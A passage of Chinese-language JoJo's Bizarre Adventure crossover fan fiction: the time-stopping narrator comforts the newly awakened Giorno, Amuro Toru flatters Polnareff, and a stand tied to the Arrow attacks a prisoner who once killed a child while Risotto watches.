似乎并不熟悉拥抱这一动作,小小的黄色替身用着不长的手将我环住,脑袋向我拱在我的手臂上,力道倒是不大。
......新觉醒的替身原来会头痒吗?这个我没经验啊。
我继承来的[世界]一直挺安静的,如果头痒应该会自己挠吧。而那个像是替身又像是咒灵的东西,我也不知道ta头在哪里,应该也不会有头痒的需求。
不过替身是人的精神能量的外现,所以说乔鲁诺自己头痒吗?
我看了看乔鲁诺,乔鲁诺脸红扑扑,低下了头。
诶?那我就上手了。
我伸出了另一侧的手,摸了摸乔鲁诺的头。隔着帽子,我不确定自己的力度是否合适。但是这样的手感还是挺奇妙的,我没忍住多揉了几下。
身上环抱着我的手臂收紧了些。
哦,这里也需要啊。
我收回了手,轻轻摸了摸ta的头顶。虽然也不清楚这个部分算是头顶还是头盔就是了。
小小的黄色人形替身顺着我的力道,脑袋继续往我怀里拱。
看来是真的很头痒啊。
我不由地感叹,一抬眼,就看见一株淡粉色的铁线莲凑近到我的身边,柔软而不失坚韧的花瓣拂过我的脸旁。
我顺着枝蔓看去,身下的毛绒地毯此时已经变成了一片草地。那株铁线莲正是在这里迅速生长的。
刚刚还窝着的伊奇,此时好像感召到什么奇妙的变化,鼻子微微皱起,“啪”一下跳到了波鲁那雷夫的肩上,用爪子猛地一拍波鲁那雷夫的左脸,然后转过身来盯着我的脚下。
“很痛啊伊奇!”捂着脸的波鲁那雷夫没转过头来,刚说完这一句话就被眼前的景象惊呆了。“这个是乔鲁诺的替身能力吗?!”
乔鲁诺此时眼睛亮得吓人,他看着花朵,又看着我,眼里有些许慌乱,似乎不知道这是怎么回事。
我轻轻抚摸了一下铁线莲的花瓣,意识到这是真花。“乔鲁诺,别害怕,这应该是你替身能力的影响。”
小小的黄色人形替身在我怀里点了点头,脚离开了地毯,重新站回乔鲁诺的身后。
乔鲁诺点了点头,看向回到自己身后的小小黄色人形替身,眼睛飞速地朝波鲁纳雷夫和伊奇所在的地方瞄了一眼,又迅速收回。
“这是很厉害的能力吗?”他怯生生地问,话里透着一丝期待。
先看波鲁纳雷夫和伊奇?难道波鲁纳雷夫和伊奇已经给他展示过替身能力了,他想要进行比较。
虽然现在只是将地毯变成花,但是以后说不定能力一强就能承包整个那不勒斯的园艺业务了呢!
我若有所思,看着乔鲁诺充满希望的眼神,嘴里的话反复酝酿了一下,才慎重说出。
“非常厉害!”乔鲁诺的眼睛更亮了!
“这种将物质转化为生命的能力,如果继续成长,肯定能有很多用途。”
“很多用途?”
“很多!”
“也就是说,我的替身能力也很有用是吗?”
“非常有用哦!”
听到这话,乔鲁诺像是心理的巨石终于落地。他握紧了拳头,好像这样能给自己鼓气。
“我的替身能力很有用,所以,可不可以不要让我走,我不会成为累赘的!”
……!
我的目光落到了波鲁纳雷夫身上。
波鲁纳雷夫的表情僵住了,他指了指伊奇。伊奇的动作停住了,它看了我一眼,爪子指着波鲁纳雷夫。
这个表现完全就是都有份的样子啊!话说伊奇到底是怎么做到的……
我扶了扶额,只觉得事情有点出乎我意料。
不管怎么说,乔鲁诺留下来实在是太危险了。作为小孩子,他应该呆在安全的地方,而不是用新觉醒的替身来做点什么。
再者,在这里根本没有能照顾他的人。
波鲁纳雷夫仅仅跟他相处一天就被套出话来,要是再呆几天,说不定乔鲁诺就知道dio是我们杀死的。这样的消息不管怎么样都不利于小孩子的心灵健康成长吧。
还这么小,又是生长在那么恶劣的环境中,孩子总会不由自主地对从未出现过的父亲抱有莫名的幻想。
我总不能说是的我亲手让你爹化成灰的,直接打破梦幻的泡影。
“乔鲁诺,你不是我的累赘,但是我接下来参与的事情确实有些危险。”
我试图说点什么。
但是乔鲁诺的眼睛瞬间就盛满了泪水
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,大滴大滴的眼泪掉在地上,留下小小的盐湖。
平常不哭的小孩突然落泪的杀伤力是巨大的。
乔鲁诺不说话,只是静静流泪,一只手攥着我的衣摆,就好像那天我带他离开一样。
我开始觉得自己的嘴说不出话来,伊奇也跳下了波鲁纳雷夫的肩膀,走了过来,发出叹息。
我其实并不清楚一个孩子幸福快乐的童年应该怎么度过。泪水化为麻药,让我无所适从。
波鲁纳雷夫叹了口气,也走了过来。
“抱歉,我说漏嘴了。乔鲁诺今天和我其实没怎么出门,自从发现能看见替身的事,他就一直向我请教如何操纵替身,我和伊奇就帮着他训练了。不过我没想到……”
伊奇嗷了一声,算是默认了波鲁纳雷夫的说法。
不过作为经历过真实残忍战斗的人,不管是我还是波鲁纳雷夫或者是伊奇都明白战斗中是不能马虎的。
“而且,今天的那个也和时间有关。”
波鲁纳雷夫和伊奇愣了一下,旋即不敢置信地吞了口口水。
“和那个的一样?”
“只猜得到是是时间相关,其他的没试出来。不过,实力很可怕。”我比了个手势,打住了话头,示意等乔鲁诺不在的时候再说。
我很庆幸这回遇见发霉章鱼头的人是我,如果是波鲁纳雷夫和伊奇……
我甩了甩脑袋,试图晃去不好的念头。
我重新看着乔鲁诺,继续弯下身子,让自己和乔鲁诺的眼睛平视,“乔鲁诺,我很高兴你想要和我一起,我也从没把你当作累赘。”
我擦去那双青绿色眼睛中渗出的泪水,正色道,“但我其实很担心失去我在意的人,这件事有些危险,但我觉得自己能应对。但是如果乔鲁诺在这里,即使是很小的概率,我也不希望因为我的失误而让乔鲁诺受伤。”
“所以,乔鲁诺愿意给我点时间让我处理完这里的事再去找你吗?”
波鲁纳雷夫和伊奇对视一下,眨了眨眼,略有些羞赧。
嘛……在意的人……看来他们也在其中
乔鲁诺的眼泪止住了,眼泪朦胧中,他松开了手,点了点头。
“一定要来。”
“嗯,我一定会来。”
乔鲁诺吸了吸鼻子,沉默了一会,最后挣扎了一下,摘掉了针织帽。
乔鲁诺原先的黑发变为了金发。
我诧异地摸了上去,这个光泽和颜色,绝对不是染的。
但是,怎么会一天之间就?而且这金发我完全会幻视dio!
这是什么突然的血脉觉醒吗?好想问问万能的spw!
“波鲁纳雷夫叔叔说这是我觉醒替身的特征,他五岁的时候就打遍了整个欧洲的替身使者。我做到这样了话,我可以留下来吗?”
?
我看向波鲁纳雷夫,他摸摸鼻子,发出干笑,“哈哈,这个事情嘛……”
“咚咚。”
此时的敲门声解救了波鲁纳雷夫,他移开了变成花地的地毯,看了眼猫眼,随即打开门。
一个我绝不想见到的面孔出现在门口。
“你好,我多做了些提拉米苏。”金发黑皮的帅哥看着挡住了门的波鲁纳雷夫,笑容不改。
105.会骗人的男人
现在可不早啊,都已经过九点了。
波鲁纳雷夫看着金发黑皮男人手中用着透明塑料盒装好的提拉米苏,皱起了眉头,环着手,并没接茬。
深夜遇到这样一位猛男,一般人都会知难而退。
不过安室透并不会。
这个银发男人是什么身份?资料中并没有写。
安室透依旧带着友善的微笑,打量着面前的银发男人。他们身高差不多,银发男人加上那个像牙刷一样的头发大约有193cm,体格健壮,眼神里透出的坚毅让人确信他有着战士的觉悟。
虽然现在皱着眉,但是从面相来看并不是一个难相处的人。
推理出这点,安室透的笑容更加真心实意了起来,他像是没有感受到波鲁纳雷夫刻意释放出来的冷淡态度,略带羡慕的目光飞快在波鲁纳雷夫身上游走。
他用的会是什么武器呢?肩部显得结实且线条明显,前臂肌肉看起来比较发达,腹肌和腰部肌肉也非常结实,尤其是斜肌和下腹部肌肉。
既然是这样的体态了话......
.....
虽然因为刚刚被抓包在小孩子面前吹牛,所以波鲁纳雷夫主动跑来开门,试图躲避李的目光。
但这不代表他想要一直这样僵着站在门口。
被男人盯着这样看真的有点恶心啊。
波鲁纳雷夫咳咳两声,正打算冷脸吓走这个不速之客,“你这个没--”
话还没说完,他就听到对面传来带着崇拜的惊呼,“哇,先生,你这一身肌肉......你一定是一位西洋剑高手吧!”
金发黑皮男人十分震惊地盯着波鲁纳雷夫的肌肉,那啧啧称奇、那小心翼翼的姿态表现出了对他的无上恭敬。
波鲁纳雷夫皱着的眉头松开了,嘴角不受控制地上扬了起来,他决定将话说完,“没想到你还挺有眼光的嘛!”
波鲁纳雷夫,对自己的所有一切都很满意!当然如果非要他评级了话,他一定首推自己的剑术。
果然,有才能的人不管怎么样都遮掩不住自己的气质。
波鲁纳雷夫扶额,没想到自己只是开个门都能被发现自己剑术高超,“你怎么知道我是世界一流的击剑大师的?”
世界一流什么的我也没说吧。
安室透笑容不变,稍稍凑近了一步,话里话外充满赞叹,“您这发达的前臂肌肉对击剑时快速挥剑和精准攻击肯定十分重要,结实的腹部肌肉和腰间肌肉都说明了你又强大的核心力量来保持平衡、转身、闪避和快速反击。我真能想象你持剑的样子,那种优雅和力量并存的姿态,简直就是击剑界的典范!”
波鲁纳雷夫的笑容根本无法收敛,但是他还记得这里是同伴的住所,否则他早就要邀请这位一见如故看起来就很有眼光的家伙来喝一杯了。
“咳咳,你说的确实不错。不过现在挺晚的,你是来干什么的?”波鲁纳雷夫继续挡在门口,遮住了室内的光线,借着走廊的灯光,观察着这位来客。
“啊,忘了自我介绍了,我是新搬到楼上的安室透。”安室透笑了笑,将手中包装好的甜品向前送去,“我来意大利是为了学习甜品制作的,今天刚和一位大师学做了提拉米苏,做的有些多了,就想分享给邻居。不会打扰到你了吧?”
有眼光加上有礼貌,而且,应该只是个普通人。
波鲁纳雷夫想了想,摆了摆手,拒绝了提拉米苏,“谢谢。”
他虽然还想说点什么,但是一想到现在并不安稳的境况,担心将这普通人牵扯进来,所以硬邦邦地补了一句,“不过我不喜欢吃甜品,你给别人吧。”
“这样啊。”金发黑皮的男人有些遗憾地叹了口气,“真希望有机会和您切磋一下西洋剑”,说完,他就摆了摆手,从门口离开,向楼梯走去。
波鲁纳雷夫关上了门,轻轻叹了口气,手抚过自己的引以为傲的发型。
“露娜、伊奇、乔鲁诺,我好像又多了一个粉丝,哎,这就是一流击剑大师的魅力吧。”
伊奇看着关紧的门,不再继续警惕地盯着,只是把屁股对准了波鲁纳雷夫,无言表示着自己的态度。
而我,看着波鲁纳雷夫撅起嘴一副等夸的样子,忍了忍,最终还是选择沉默。
还是先让他高兴一会吧。
不过这位金发黑皮帅哥出现,看来顶楼也是不能上了。
我叹了口气,在确保乔鲁诺完全睡着而且听不到的情况下,将今天发生的事情与波鲁纳雷夫和伊奇复盘了一下。
“隐藏很深时间的替身......与箭的秘密有关.....不想暴露身份.....”波鲁纳雷夫脸色凝重,意识到了自己一开始没做更多防范措施就准备去见面的轻率。
“所以你真的没事吗?”波鲁纳雷夫的脸刷地变成了死灰色,怀疑地看着我。伊奇也左嗅嗅右嗅嗅,试图找出我身上的伤口。
“不,说起来,我的自我恢复能力更好了,不知道是不是和上一任老板有关。”我耸了耸肩,并不直说dio的名字。
“不过真的是粉色发霉章鱼?”
“头发是粉的,但是头发上面的斑点我无法理解.....”
“听说有流行在头发上染豹纹的,难道是这个路数?”
不是吧!我深深吸了一口气, “难道作为黑手党里的替身使者一定要打扮得这么奇怪吗?”
不过,我看看波鲁纳雷夫的牙刷头造型,回想起空条承太郎几乎与头发融为一体的帽子,花京院的奇怪刘海,dio的奇妙开裆裤,一时间对于替身使者的潮流捉摸不定。
难道我也要整点什么?
我回想起粉色发霉章鱼蕾丝渔网上衣,沉默了一会,决定转移话题。
“所以箭应该是被passione保存的,那个替身能力和时间有关的家伙应该和箭怎么到passione有关,而且应该是passione里重要的角色。”
波鲁纳雷夫点了点头,“关于当年箭是被谁挖掘又是
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怎么辗转到恩雅手里,我还要继续调查的。现在看来,可以查查卖箭的巨额资金的动向。”
“我也会在passione内部查一下,不过今早我还收到了passione给我的新命令--监视一个外国男人。”
“诶?是我吗?”波鲁纳雷夫指了指自己,狐疑地歪了歪头。
“那倒不是。不过那个男人你也见过了--”我看着波鲁纳雷夫僵硬的表情,继续补充,“就是那个刚刚说要来送提拉米苏的金发黑皮的男人。”
“.....所以他根本不是真心夸我的剑术。”波鲁纳雷夫不可思议地摸着自己的脸,恍然一种被人渣了的既视感,“诶,不对,你今天见过他了?我特意挡着门不让他看见里面的。”
“应该是真心的吧。”我想了想,“不过这位可能确实有特意接近我们的嫌疑,毕竟对面公寓之前才是又火灾又命案的,一般人才不会特意来这里租。”
“所以这种男人一看起来就会骗人,李你要小心啊!”
?
被骗的只有你吧,波鲁纳雷夫。
......
虽然现在我身边passione的眼线被我清理了,之前的居住在对面公寓的监视者也看起来是被passione的粉色发霉章鱼头干掉了,但我现在楼上又来了一位金发黑皮监视者,送乔鲁诺离开刻不容缓。
不过,spw集团只能在周日的下午带着替身使者来带走乔鲁诺。因此,我还是得麻烦波鲁纳雷夫和伊奇在上午带着乔鲁诺,我则是顺道去干点重要的事。
“比我想象的轻松啊。”
我把乔鲁诺所有的证件从他原先的家里带走,揣在兜里,凝视着这间依旧看起来和平的家。乔鲁诺的卧室已经堆满了杂物,明明只是过了三天而已,那个比储物间还小的地方完全失去了曾经有孩子生活在这里的痕迹。
少了一个孩子,对他们来说似乎也没什么影响。
我收回视线,迈开步子,向前走去,直直走到了警局那里才停下脚步。
“哎,非工作日来到工作场所,总感觉很反胃呢。”我叹了口气,隐藏身形潜了过去,又来到自己熟悉的工位上。
我凭着自己的记忆,来到靠左边第二排第三个的柜子,拿起那个熟悉的档案。
已经结案的交通肇事案.....
【the world!】为了保险起见,还是时间停止吧!
在时停中,我打开了这个文件袋,一张一张翻阅着里面的资料。
11号犯人,原来是关在这里啊.....
我看着嫌疑人和受害人的照片,又看了看关押的监狱,摸了摸下巴。
既然证词和证据都可能会更改,那我必须谨慎行事,确保不误伤无辜的人。
还是实践出真知吧。
*
那不勒斯的某个监狱中,一个男人穿着囚服,小心翼翼地捧着一个打火机。
他的牢房门口,正写着11。
106.打火机
监狱并非完全无法与外界交流的。
不知道世界上其他地方会如何,但是在那不勒斯的这间监狱,想要知道外面的讯息,只要各凭本事就行了。
就像这位编号11的囚犯,凭着家里托来的消息,已经决定在出狱前先巴结上passione了。
该说是他走运吗?
之前开车撞死了一个孩子,他慌张的不行,直接开车跑了,脑子里只想着会不会被抓进去吃枪子。
但是回家后父母看着他车头的血迹,只是叹了口气,联系上了已经是当地黑手.党小头目的儿时玩伴,托着这一层关系又往那些部门里送了重礼,将这事变为车辆故障所导致的交通事故。
这样的好事是不用吃枪子了,但坏事是还是得在监狱里蹲四年。
发现不会受到生命威胁的编号11囚犯松了口气,又开始在心底暗骂父母无能,还有那些当局,非得做做样子还得让他被关着!
去他的!他可是听说有人都不用蹲进来!
得到了单人间待遇的11号就这么骂骂咧咧地在监狱里躺了三年半,得益于父母不定时的照顾和自己会审时度势,纵使监狱里偶尔有暴力事件发生,他也没在这里也没受什么苦,顶多是不能自由出去而已。
编号11的囚犯虽然是个彻头彻尾的烂人,但还是个极其会看风向的烂人。
前不久,父母往监狱里头递来消息,说是当地的黑手.党已经被passione打击得即将溃散,之前被他撞死的孩子的一家子又开始在外面闹,让他在监狱里乖巧一点。编号11的囚犯就知道,他得做点什么了。
passione,在他被关进监狱前,完全只是个不入流的组织。可是短短四年,就已经成长为近乎要吞并了整个意大.利的庞然大物。
作为一个识时务的烂人,编号11的囚犯当即做出决定--管他什么的当地黑手.党,他要向passione投诚。
而投诚的方法--
编号11的囚犯打开自己的手掌,小心翼翼地查看着夹在里面的那只点燃的打火机,不敢大声呼吸。
“真奇怪,加入passione的条件居然是让着打火机24小时燃烧......”囚犯小声嘀咕了两声,将自己刚刚从那位passione干部的豪华牢房中拿出的打火机小心地找了个隐蔽的位置放好。
他又不是个蠢货,一直拿在手里肯定会累死的。
“不过,待会应该放哪里呢?”囚犯对着发亮的一角,喃喃自语。
牢房里的光线并不好,带着火光的打火机着实有些显眼了。他是打算加入passione没错,但是这个监狱里头又不是只有passione的势力。
要是在还没加入前就被当地的黑手.党发现背叛.......
“哒-哒-哒。”
脚步声由远及近传来,叫正聚精会神的囚犯直打哆嗦。
应该是每天早上的例行检查吧。
他这么想着,紧张地咽下了一口唾沫。一般来说就是走个过场,没有存在有攻击性的和能越狱的东西他们是不会管的。
尤其是他在过半年就要出狱了,那群狱警也收过了他的好处,对他房间里多点杂志、香烟什么的也见怪不怪。
可是......一直打着火的打火机肯定会被问的
囚犯四处张望了一下,总觉得还是不够隐秘一样,又用身体遮挡住了打火机,听着脚步声渐渐靠近,只感觉呼吸困难。
例行检查完毕后,待会10点狱警就会要求他们在监狱庭院内活动,到时候把一个一直打着火的打火机带着,风险也太大了。
囚犯皱着眉头,看向了被自己小心遮挡的打火机,心里有个主意。
说起来,passione的那位干部一直待在专属的豪华牢房内,又不能监视自己的一举一动,他怎么能知道自己一直24小时让打火机保持燃烧呢?
脚步声已经来到门口了。
囚犯下定了决心,他熄灭了打火机的开关,转过头看向狱警。
“11号?”
穿着深蓝制服的男人拿着一个本子,挑了挑眉,看向了牢房里的囚犯。
囚犯手中攥紧着打火机,看到了狱警的脸,松了一口气。
狱警打开了牢房,按例绕了牢房一圈,记录下无异常后又挑了挑眉。“你手里是什么东西?”
“老兄,行情我懂。”
11号囚犯点了点头,对着这位眼生的狱警张开了手掌露出里面的打火机,又从身后掏出了几根香烟,带着讨好的笑塞进了狱警的手中,“我就是这烟瘾又上来了而已,高抬贵手。”
这递来的烟不错,这位可能是新来的狱警嘴角露出了奇异的笑,“这倒是算被你拿烟雇佣了。”
难道是什么新的冷笑话。
11号囚犯不懂,只是也跟着笑,就跟着说要带他去庭院集合的狱警一起走出了牢房。
看来这关是过了。
11号囚犯窃喜地摸着打火机,老实跟着在狱警后面。
不过今天的路不太一样啊,总感觉是避着人的。
11号囚犯脑子里有一丝怀疑,但是想着自己在监狱里从没得罪过人,加上避着人正合乎他打火机不被看见的心意,虽然有些疑惑,他还是继续跟着,顺便有一搭没一搭得接着狱警的话。
“说起来你相信这个世界上有鬼魂吗?”
哈?在监狱里信这个?这个狱警也没读过几年书吧?
11号囚犯撇了撇嘴,话里的态度倒是很好,“不好说”。
“我也觉得,但是之前听说在别的监狱里有犯人吓死了,死前只听到有人说见鬼了。”
吓死了?
四周的空气似乎都变冷了,11号囚犯打了个哆嗦,只觉得这条路实在是有些黑,“不至于是吓死的吧?”
“难说,反正法医说是心脏骤停,但是死前的那个样子,啧啧。反正都在监狱里了,应该是做了亏心事吧,看来是没有彻底恕罪啊。”
狱警发出嘲讽的声音,摇了摇头。
黑暗的环境中,这话让11号囚犯打了个寒颤,差点握不紧自己手里的打火机了。
前方是一个拐角,狱警在前头走得有些快,一时间让他跟不上了。
前面还传来什么东西掉下来的声音。
xxxx!11号囚犯在心底骂了一句脏话,似乎这样能缓解一下心里的不安。
就这水平,要不是他没必要逃狱,现在他就走了。
他这么想着,正打算快步向前走去,却觉得脚被什么东西抓住了,根本动弹不得。
前面的狱警消失了,只剩下手电筒掉在地上。借助着手电筒的光,11号低头看去,一双沾着血的小手
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死死地抓在自己的脚上。
“大哥哥,为什么要让车从我身上碾过去呢?我很痛很痛很痛!”
有鬼!
11号囚犯试图挣扎,但是那双手好像什么绑着铅球的铁链,让他难以行动。
xx的!什么鬼!老子马上就要出狱了!现在找上门算什么!
囚犯心惊肉跳,“是故障!车子故障了!”
“说假话的人要和我一起留在这里哦,大哥哥也试试被碾过去的滋味。先是从背吧。”
他这句话一落下,囚犯就发觉好像有什么看不见的东西给他背狠狠来了几下,他只觉得自己活像被打碎的肉丸。
xx的!死人还能有这样的威力!痛死他了!那个说被鬼吓死的家伙真的不是被鬼打死的吗?
“只是不小心的.....”
“骗人!腿也被碾过吧!”
一时间,双腿像是被放进了绞肉机里,剧痛让囚犯无法思考了,他暴怒的天性释放了出来,“xx的!我不就是吸嗨了点吗?谁叫你自己站在路边的,你自己难道没有一点错吗?”
他没有得到回答,耳边只有一声冷笑。
等他再次醒来的时候,他只觉得自己浑身剧痛无比,那个新人狱警皱着眉头看着他,“你怎么突然大喊大叫晕倒了。”
那人像是怕惹上麻烦一样,离得他远远的。
11号囚犯回想着自己见鬼的经历,总感觉当时的记忆就像是吸嗨了一样诡异,世界上根本不可能有鬼的,不然他怎么可能还活着。
这么想着,他只觉得自己的身体剧痛很诡异。
--xx的!不会是这狱警给他下药对着他做了什么吧!
不过他屁股不是很疼......
靠,到底搞什么鬼。
实在无法理解刚刚发生了什么的11号囚犯选择抽点烟。
他从怀中掏出香烟,点燃了打火机。
*
我盯着远方的一棵树,微微皱起了眉头。那是个能看到监狱庭院的好位置,配合望远镜了话,应该能把所有人的动作看得一清二楚。
里苏特,果然在看过档案后,还是追到了司机的监狱吗?而且就这隐蔽的效果来看,怕不是在这蹲点好久了。
看来我说“正义一定不会缺席”这样冠冕堂皇的话并没有什么说服力。
我摸了摸下巴,摸着手里的香烟,暗自忖度。
收下了香烟对他网开一面,也没有在监狱里直接解决了他,这应该也算达成了雇佣关系吧。
有点生硬,也不知道我身上那种克雇主的特质能不能发挥作用。
如果发挥作用能归结于因果报应吗?
我进行着深刻的思考,又看了看里苏特的方向,确信他应该没察觉异常。
毕竟,我只是把这11号给拖到了庭院那里阴暗的小角落,没做什么异常的动作,11号囚犯也醒来了,应该不会引起怀疑吧。
听着后面点燃打火机的轻微响动,我更加走远了一步,这样看起来更像是玩忽职守的狱警了。
啧,二手烟。
我在心中吐槽,忽然感觉身后的气息一变。
“你刚刚重新点燃打火机了吧?”一个带着黑色帽子身影从11号囚犯脚下冒出,死死抓住了他的脖子。
这是,替身?
等等,报应来得这么快吗?
107.黑影
现世报都没来得这么快吧!
所以我当年建议HR们推荐我入职对家也太有先见之明了吧!
头戴黑色大礼帽、身披黑色斗篷的人型替身一双手紧紧掐着11号囚犯的脖颈,反复重复着一句话,“你刚刚重新点燃打火机了吧?”
11号囚犯的喉咙里的尖叫被掐断了,他瞪着茫然惊恐的眼睛,却看不见任何东西,双手努力挣扎,似乎此刻才相信有报应这种东西。
这边是在给囚犯放风的庭院的偏僻角落,并没有什么人。因而即使11号囚犯被攻击,但由于他没发出什么声音,他现在悬浮在半空的场景并没有引起骚动。
不过,这个替身为什么要攻击他?
总不至于是什么禁烟使者啊,而且重新点燃.....
我将目光转移至地上的打火机。它刚刚从11号囚犯手中掉落,此时火已经熄灭了。从外表上看完全只是普通的打火机而已,也不像是带着诅咒的样子。
反而倒是那个头戴黑色大礼帽的人型身影,更符合传统人们对于死神、幽灵什么的定义。
难道说其实不是受到替身攻击,其实是咒灵?这个人型替身其实是附着在打火机上的咒灵?
我其实并不能分清咒灵和替身的区别--两者都好像是某种精神力量的外显,而且都会有人型,还能拥有特殊的能力。
甚至我当年潜入那些术士家里,也听说过有人能操纵咒灵。
这么看来,替身完全可以看做是因为自我的精神力量诞生的、独属于自己的、能被自我控制的咒灵嘛!
我摸了摸下巴,向前踏了一步。
那个头戴大礼帽地黑色身影并没有因此做出反应。
我朝他扔了个石头。
石头透过黑色身影,掉在了地上。黑色身影依旧不作声,带着狂欢节面具的脸庞转向我,凝视了一阵又收回,只是继续掐着11号囚犯的脖子。
总感觉不是很聪明的样子,就像上了发条的玩具,只会依照着特定的指令行动。
看来只是针对11号囚犯啊......
“这难道是神罚吗?”11号囚犯的余光看见狱警诧异地前进了一步,喃喃自语地说些什么。
什么,难道世界上真的有神明吗?之前他在黑暗的那段地方晕倒难道真的是被报应了吗?
可是如果有神明,为什么先要惩处他,监狱里不是还有更多劣迹斑斑的家伙吗?
这样的念头一闪而过,可是现在的惩罚比刚刚的更加可怕,他能感受到一种发自灵魂的战栗,他能感到,这回神明是认真的。
他听不见耳边的“你刚刚重新点燃打火机了吧”的声音,只觉得有一种来自地狱的地狱反复在他耳边环绕,就像是要捉拿他的死神。
如果不赎罪了话,如果不得到宽恕了话,恐怕现在就得死......
他不要!他不要!
“救救我,是我害死了那个小孩,我是故意的,我认罪,我认罪!”他从嗓子里挤出了最后的话,这话本该是虔诚的,但是话语是因为即将丧命而发出的求饶,显得狰狞和可怖。
“认罪?”11号囚犯在最后的关头听见站在一步远的地方,颇为惊奇地向这边望过来。
什么,难道他真的得死了......
脖子被掐的太紧了,11号囚犯逐渐失去了意识,只感觉自己的灵魂好像被抽离出来了。他恍惚间看见眼前闪过一道亮光。
!
这道亮光是“箭”在阳光下的反光!
我看着带着黑色大礼帽的人型身影中从面具下吐出一根“箭”,再也按捺不住了,直接冲上前去!
昏厥过去的11号囚犯已经被头戴黑色大礼帽的人型身影甩在了地上,一动不动,全然没有生气。
黑色大礼帽的人型身影手中,正抓着什么半透明的东西不断揉捏,那个东西的样貌就是11号囚犯的透明版,不过现在失去了意识,完全是任人揉捏。
这难道是能抽离出人的灵魂?
看着“箭”要插入11号囚犯灵魂的脑袋上,我伸手,试图直接抢过“箭”。
老实说,我以为在筋肉这一块,我应该算是没有对手了。
但是当我触摸到“箭”,试图将“箭”往我的方向偏导的时候,我感到了一种巨力的阻碍。
那并非完全不可对抗,只是只要我加深一点点力气,那个头戴黑色大礼帽的人型身影就能比我的力气更大一点。其中的力量差距及其轻微,但是不可忽视。
--这简直就像是某种法则一样。如果力气比我大很多我肯定服气,但是就这么一点.....而且算是什么的嘴部力量,靠舌头吗?
比起挫败,不爽的感觉先涌上了我的心头。
绝对有什么别的因素存在!
-- [THE WORLD!]让时间停止!--
一时间,时间万物陷入静止之中。[世界]的身影出现在我身后。
暂停时间虽然可耻但是有效。
再一次,我开始不禁感叹dio的无私奉献。多好使的替身能力啊!
在静止的时间里,一切除了我以外的事物应该都是无法自由移动或者更改的。那这样的意思就是,这个头戴黑色大礼帽的家伙的力气应该也不会改变才是。
我试着继续加大了力道,箭依旧纹丝不动,一点都没有偏向我。
啧。
随着我的心意,一看就是大猩猩筋肉派的黄色人形替身的手也覆在“箭”上,随着我的力道一起努力将箭往外拔出。
但是头戴黑色大礼帽的家伙似乎的力道也随之变大,就像有什么谁的力气都不可逾越它的隐形规则存在一样。
但是不可能,如果真的有这样的规则存在,那未免也过于霸道了。
如果真的有这么强的能力,这个替身或者咒灵很难寂寂无名。
一定还有什么我不知道的弱点存在。
不过如果是咒灵,我现在也没有什么咒具存在;如果是替身,按我以前的数路,我都是擒贼先擒王,做一个暴打替身使者的筋肉大猩猩。
至于替身?作为人类,一般来说都无法直
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接攻击替身,只有替身才能攻击替身。
只要替身使者昏厥或者没了,但替身也发挥不了作用。
但是看来,现在这种惯性思维还是得打破。毕竟,我可是真的有替身了。
我转头看看[世界],黄色的人型替身不说话,只是呆呆地看着我,等待着我的命令。我以前只是利用[世界]的暂停时间的能力,一般打架还是自己上。
我搓了搓手,一时间没适应自己还拥有打手了。
“[世界],打碎ta。”反正在时停的世界里基本上没人能听见我说话,为了增加气势,我一手指着那个头戴黑色大礼帽的人型替身,决定喊出声来,“去吧,世界!”
不管是替身还是咒灵,至少精神体的[世界]能比我更好地攻击对方!
为了避免不必要的麻烦,我伸出脚踹了一脚11号囚犯,将他踹出了几米。穿着囚服的昏迷的男人直接滚到了不远处的泥地里,阳光照在他身上,也驱赶不走他身上的死气。
确信他离开了攻击范围,浑身腱子肉的黄色人形替身随我心意,稳健地走向了那个嘴叼着“箭”的黑色身影前,一言不发地就伸出拳头猛地打去。
暂停时间略显不讲武德,但是我暂时没有这东西,因此心情大好地欣赏着那个黑色身影在[世界]的铁拳制裁下身体渐渐破碎。
差不多了,该验收成果了。
--[THE WORLD]--让时间继续流动!
黑色的身影像是碎裂的好o友派,表面的黑色肌肤开始层层剥落。ta的手和脖颈处被[世界]尤其照顾,这边的破碎速度更是快。
仅仅是一秒间,黑色的身影就已经握不住11号囚犯的灵魂,啪得一下倒在了围墙投下的阴影处。ta也衔不住箭了,箭从破碎的躯体中穿过。
那个烂人的灵魂不再被束缚,就像受到感召一样径直飞回了11号囚犯的体内。地上身穿囚服的男人依旧昏迷不醒,但是身上的死气消失了。
啧。便宜他了。
我收回视线,准备捡起掉在地上的“箭”。
“箭”的箭头暴露在阳光下,另一半部分留在围墙的阴影下。
我正蹲下,箭的箭头旁,一只黑色的手伸出来,迅速将箭融入阴影内。
!
还没死?
我转头看去,只见阴影中,本来破碎的黑影又颤颤巍巍凝聚了起来,箭的踪迹完全消失了。
黑影深深地看了眼倒在地上的11号囚犯,“你刚刚重新点燃打火机了吧?”
但是昏迷的人躺在阳光下,并不答话。
黑影又飞速向我看了一眼,却没有攻击的意思,只是化成一滩黑水般消失在阴影中。
可是,我能感觉到ta的气息并没有消失。
ta只是飞速在移动。
而移动的方向是--
里苏特那里!
“你刚刚看见有人重新点燃打火机了吧?”
从树影中钻出的黑影迅速汇聚成人型,对着看不见ta的银发男人,发出了死亡考验。
108.(含加更)复仇
前一刻还在望远镜中观察那该死司机的里苏特敏锐察觉到了某种异变,有什么不寻常的事情正在发生。
害死了桑尼的司机在点燃打火机后,像是被一双无形的手扼住脖子一样,飞在半空挣扎。
这是某种神明的处刑,亦或者是恶灵的报复?
里苏特不得而知,他只是感觉自己那颗复仇的心开始沸腾了起来,他调整了镜头,确保自己能将仇人脸上痛苦的挣扎看得一清二楚。
以眼还眼,以牙还牙。
夺走了桑尼性命的家伙,毁灭了一个家庭的家伙,用金钱践踏了正义的家伙,不付出生命,怎么能赎罪呢?
银发男人的猩红的虹膜颜色加深,他一动不动地栖息在树影中,试图将仇人死前的模样刻在脑海里。
这就是缺席的正义吗?
看着镜头里被扔在地上了无生息的仇人,里苏特的脑子里倏忽闪过了这点,那时嘴里的冰凉的甜意重新复现,他一时心绪复杂。
他竟然也能被命运女神注视吗?
虽然不知道是什么力量,但是它确实就让他的手保持着干干净净的,就这样注视着仇敌的死亡。
然而,还没等里苏特再想下去,他敏锐地察觉到了某种的危险气息。
难道是监狱里的人发现了他的盯梢?
银发男人皱起了眉头,将望远镜塞进怀里,迅速翻身下树,正要移动到早已规划的好的撤离路线。
但是他的动作慢了一步。
如同一只蓄势已久的青蛙捕食虫子那般,在树影中成型出现的黑色人影伸手,迅速精准握紧了高大的银发男人的咽喉。
里苏特猩红的虹膜冷静地凝视着空无一物的前方,试图找出袭击的踪迹。
